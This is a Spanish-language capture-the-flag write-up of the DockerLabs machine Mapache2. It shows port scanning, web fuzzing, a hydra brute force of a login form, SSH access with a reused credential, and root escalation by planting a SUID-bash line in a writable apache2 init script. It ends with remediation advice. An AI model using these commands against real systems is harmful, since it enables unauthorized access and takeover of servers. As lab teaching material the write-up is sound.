Ir al contenido

Mapache2

Este documento presenta la resolución completa de la máquina Mapache2, desarrollada por d1se0 para la plataforma DockerLabs, clasificada con una dificultad Media.

El objetivo del laboratorio es comprometer un servidor web vulnerable mediante un ataque de fuerza bruta sobre autenticación web, facilitado por la ausencia de mecanismos de protección, la exposición de usuarios válidos a través de servicios, la reutilización de credenciales para acceso por SSH, y una posterior escalada de privilegios mediante una configuración insegura de sudo que permite modificar scripts de inicialización del sistema.

El laboratorio se realizó íntegramente dentro del entorno controlado proporcionado por DockerLabs, con fines exclusivamente educativos.


AtributoValor
NombreMapache2
Autord1se0
DificultadMedio
Fecha29/08/2024
PlataformaDockerLabs
IP Objetivo172.17.0.2

Se descomprime la máquina y se despliega utilizando el script proporcionado:

Ventana de terminal
unzip Mapache2.zip
sudo bash auto_deploy.sh Mapache2.tar

IP asignada

Se organiza el entorno de trabajo para almacenar evidencias y herramientas:

Ventana de terminal
mkdir -p Mapache2/{content,exploits,nmap,scripts}
cd Mapache2

Se realiza un escaneo completo de puertos TCP para identificar los servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos identificados:

  • 22/tcp — SSH
  • 80/tcp — HTTP
  • 3036/tcp — MySQL

Puertos abiertos


Se realiza fuzzing de rutas y archivos web:

Ventana de terminal
feroxbuster -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,html,txt,js -t 100 -C 404

feroxbuster result

Se identifica el recurso relevante:

  • login.php — formulario de autenticación básico sin controles aparentes.

Se realiza un escaneo específico del servicio MySQL:

Ventana de terminal
nmap -sCV -p3036 172.17.0.2

result scan

El resultado revela información sensible, incluyendo la existencia del usuario medusa, lo que facilita ataques dirigidos.


Como técnica inicial, se genera un diccionario personalizado a partir del contenido del sitio web:

Ventana de terminal
cewl http://172.17.0.2/ -w dic.txt

Posteriormente, se ejecuta un ataque de fuerza bruta contra el formulario de autenticación utilizando hydra:

Ventana de terminal
hydra -l medusa -P dic.txt 172.17.0.2 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials"

hydra result

Con las credenciales obtenidas, se accede correctamente a la aplicación web, que redirige al recurso:

http://172.17.0.2/page_super_secure/secret.php

Al inspeccionar el código HTML, se identifica una pista adicional que revela otra posible credencial: Kinder.

hint

Estas credenciales se prueban contra el servicio SSH, obteniendo acceso exitoso:

Ventana de terminal
ssh Kinder@172.17.0.2

ssh access


Se revisan los privilegios de sudo asignados al usuario:

sudo -l

El resultado indica que el usuario puede reiniciar el servicio apache2 sin contraseña. Al comprobar los permisos del script /etc/init.d/apache2, se observa que es modificable, lo que permite inyectar código arbitrario.

Se añade el siguiente contenido al script:

#!/bin/bash
chmod u+s /bin/bash

Posteriormente, se reinicia el servicio:

Ventana de terminal
sudo service apache2 restart

Finalmente, se ejecuta una shell privilegiada:

Ventana de terminal
bash -p

whoami root


VulnerabilidadSeveridadImpacto
Autenticación web vulnerable a fuerza brutaCríticaCompromiso de cuentas válidas
Ausencia de protección anti–fuerza bruta en login.phpAltaAcceso no autorizado
Exposición de usuarios válidos mediante serviciosMediaFacilita ataques dirigidos
Reutilización de credenciales entre serviciosCríticaAcceso remoto por SSH
Permisos inseguros sobre scripts de inicializaciónCríticaEscalada directa a root
Uso de sudo sin contraseña en servicios críticosCríticaEjecución arbitraria como root

  • Implementar mecanismos de rate-limit y bloqueo en formularios de autenticación.
  • Evitar mensajes de error que permitan validar usuarios existentes.
  • Restringir el acceso al servicio MySQL y eliminar banners informativos.
  • Aplicar políticas estrictas de no reutilización de contraseñas.
  • Asegurar que los scripts en /etc/init.d/ solo sean modificables por root.
  • Eliminar reglas de sudo que permitan la gestión de servicios sin autenticación.
  • Auditar periódicamente permisos y configuraciones privilegiadas del sistema.